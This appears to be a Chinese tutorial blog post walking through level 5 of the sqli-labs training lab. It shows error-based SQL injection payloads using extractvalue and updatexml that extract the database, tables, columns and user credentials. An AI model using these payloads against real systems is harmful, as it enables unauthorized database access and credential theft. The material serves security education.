当前位置: 首页 > news >正文

sqli-labs靶场 less5

文章目录

  • sqli-labs靶场
    • less 5 报错注入


sqli-labs靶场

每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。

sql注入的基本步骤

  • 注入点
  • 注入类型
    • 字符型:判断闭合方式 (‘、"、’'、“”)
    • 数字型
  • 根据实际情况,选择合适的注入方式
  • 获取数据库名,表名,列名,数据

less 5 报错注入

  • 题目类型: 字符型 ’ 闭合 (无回显)

id=1
显示 You are in

在这里插入图片描述

id=1’
显示报错信息,分析得到闭合方式是单引号

在这里插入图片描述

id=1’ order by 4–+
报错,说明不存在第4列

在这里插入图片描述

id=1’ order by 3 --+
正确回显,说明表的字段数为3列

在这里插入图片描述

分析该题,可以得到,输入错误语句会显示报错信息,因此我们可以使用报错注入

id=1’and+extractvalue(1,concat(0x7e,(select schema()),0x7e))–+
通过extractvalue函数报错注入得到数据库名

在这里插入图片描述

id=1’and+extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=“security”) ,0x7e))–+
报错注入得到表名

在这里插入图片描述

id=1’and+extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users”) ,0x7e))–+
报错注入得到字段名

在这里插入图片描述

id=1’and+extractvalue(1,concat(0x7e, (select group_concat(id,“-”,username,“-”,password) from users) ,0x7e))–+
或者 id=1’and+extractvalue(1,concat(0x7e, (select group_concat(id,“-”,username,“-”,password) from users) ,0x7e))–+ 推荐
报错注入得到数据

在这里插入图片描述
注意: 由于子查询返回的数据太长,但extractvalue函数报错输出字符有长度限制,最长32位,通过substr或者substring 截取获取 ->解决报错注入一次只能回显32字符的问题
id=1’and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,“-”,username,“-”,password),1,32) from users) ,0x7e))–+
id=1’and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,“-”,username,“-”,password),31,32) from users) ,0x7e))–+
在这里插入图片描述

  • updatexml函数与extractvalue原理相似
    id=1’+and+updatexml(1,concat(0x7e,(select group_concat(id,“-”,username,“-”,password) from users),0x7e),1)–+
    在这里插入图片描述

相关文章:

  • DSP开发板的JTAG接口
  • vue复习
  • 塔能科技:用精准节能撬动社会效益的行业杠杆
  • 7.4考研408数据结构B树与B+树专题深度解析
  • 接口等幂处理
  • SpringBoot集成Logback终极指南:从控制台到云端的多维日志输出
  • Bootstrap5 复选框与单选框
  • strcpy和strncpy和strcat和strncat和strstr和strtok函数使用及实现
  • 【Python实例学习笔记】图像相似度计算--哈希算法
  • 多线程开发中List的使用
  • 力扣hot100:滑动窗口——找到字符串中所有字母异位词
  • ER图怎么做?智能 ER 图生成等功能全面解析
  • golang 同步与锁
  • devextreme-react/scheduler 简单学习
  • Android 常用工具类记录
  • Hosts文件与DNS的关系:原理、应用场景与安全风险
  • Linux 随机数据生成
  • 从零构建大语言模型全栈开发指南:第三部分:训练与优化技术-3.2.1模型并行与数据并行策略(ZeRO优化器与混合精度训练)
  • Kubenetes Service类型与应用场景、YAML模板以及练习
  • 计算机网络面经(一)
  • 辽阳免费网站建设/百度seo排名如何提升
  • 网站做等级保护/qq推广网站
  • 福田最新疫情/全网seo优化电话
  • 武汉做商城网站建设/网络优化报告
  • wordpress轻物语主题/seo是什么缩写
  • 织梦 视频网站源码/免费发布信息平台有哪些